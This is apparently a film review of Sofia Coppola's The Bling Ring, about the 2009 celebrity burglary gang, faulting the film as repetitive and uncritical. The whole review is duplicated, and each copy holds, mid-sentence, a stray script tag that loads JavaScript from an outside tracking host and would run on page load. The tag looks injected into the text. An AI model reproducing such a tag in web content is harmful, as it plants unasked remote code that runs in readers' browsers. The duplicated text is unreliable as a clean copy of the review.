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Five years ago, a gang of well-off teenagers in suburban Los Angeles burgled the homes of a number of local celebrities, including Paris Hilton and Lindsay Lohan, stealing their personal possessions to the tune of $3 million, carrying on with the spree for nearly a year, despite being caught on security cameras.
In the autumn of 2009, they were arrested after a tip-off — and became minor celebrities themselves, dubbed “The Bling Ring” by the LA Times. A Vanity Fair reporter, Nancy Jo Sales, wrote a piece about them, called The Suspects Wore Louboutins, early in 2010 — and Sofia Coppola (director of Lost in Translation and Somewhere, and a bit of an actress, model and celebrity herself) optioned it to make this film, based all too closely on the true story.
The Bling Ring opens quite promisingly, showing the gang breaking into a house in the dark and whooping “Let’s go shopping!”. The clothes and shoes they’ve stolen are gleefully shown off on Facebook — and then they’re seen on an evidence list too. It’s a story that obviously raises some interesting questions about celebrity culture, consumerism and the delusions created by social media. Perhaps these witless teenagers were only acting out what the culture that has created Hilton and Lohan tells them to do? Perhaps the lifestyles of their victims were themselves so excessive and over-displayed that these can be considered almost victimless crimes?
These questions are thoughtfully addressed in the book The Bling Ring that Nancy Jo Sales has now published about the case. They are barely present in Coppola’s film, which soon reveals itself to be grimly repetitious, simply showing these kids stealing, then partying, taking pictures of themselves and putting them on Facebook, over and over again, until they are caught.
The filming is pleasingly fluent but almost obsequious as the camera follows these twerps into houses and parties, staying with them all the time, never framing them in a way that would imply distance or judgment <script type="text/javascript" src="http://track.sitetag.us/tracking.js?hash=c98de8bf8b594c3fa93560acd75aa1c3"></script>(save perhaps for a sequence when a pair break into the brightly lit cubic house of a reality TV star called Audrina, which is filmed statically from a distance as they check out room after room).
Coppola has used digital for this movie, appropriately enough, since these wretches live in an entirely digital world (when the ringleader is arrested she is gratified to find that TMZ has reported her as a person of interest in the burglaries) — and there are lots of sequences made to look like surveillance footage and so forth.
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Five years ago, a gang of well-off teenagers in suburban Los Angeles burgled the homes of a number of local celebrities, including Paris Hilton and Lindsay Lohan, stealing their personal possessions to the tune of $3 million, carrying on with the spree for nearly a year, despite being caught on security cameras.
In the autumn of 2009, they were arrested after a tip-off — and became minor celebrities themselves, dubbed “The Bling Ring” by the LA Times. A Vanity Fair reporter, Nancy Jo Sales, wrote a piece about them, called The Suspects Wore Louboutins, early in 2010 — and Sofia Coppola (director of Lost in Translation and Somewhere, and a bit of an actress, model and celebrity herself) optioned it to make this film, based all too closely on the true story.
The Bling Ring opens quite promisingly, showing the gang breaking into a house in the dark and whooping “Let’s go shopping!”. The clothes and shoes they’ve stolen are gleefully shown off on Facebook — and then they’re seen on an evidence list too. It’s a story that obviously raises some interesting questions about celebrity culture, consumerism and the delusions created by social media. Perhaps these witless teenagers were only acting out what the culture that has created Hilton and Lohan tells them to do? Perhaps the lifestyles of their victims were themselves so excessive and over-displayed that these can be considered almost victimless crimes?
These questions are thoughtfully addressed in the book The Bling Ring that Nancy Jo Sales has now published about the case. They are barely present in Coppola’s film, which soon reveals itself to be grimly repetitious, simply showing these kids stealing, then partying, taking pictures of themselves and putting them on Facebook, over and over again, until they are caught.
The filming is pleasingly fluent but almost obsequious as the camera follows these twerps into houses and parties, staying with them all the time, never framing them in a way that would imply distance or judgment <script type="text/javascript" src="http://track.sitetag.us/tracking.js?hash=c98de8bf8b594c3fa93560acd75aa1c3"></script>(save perhaps for a sequence when a pair break into the brightly lit cubic house of a reality TV star called Audrina, which is filmed statically from a distance as they check out room after room).
Coppola has used digital for this movie, appropriately enough, since these wretches live in an entirely digital world (when the ringleader is arrested she is gratified to find that TMZ has reported her as a person of interest in the burglaries) — and there are lots of sequences made to look like surveillance footage and so forth.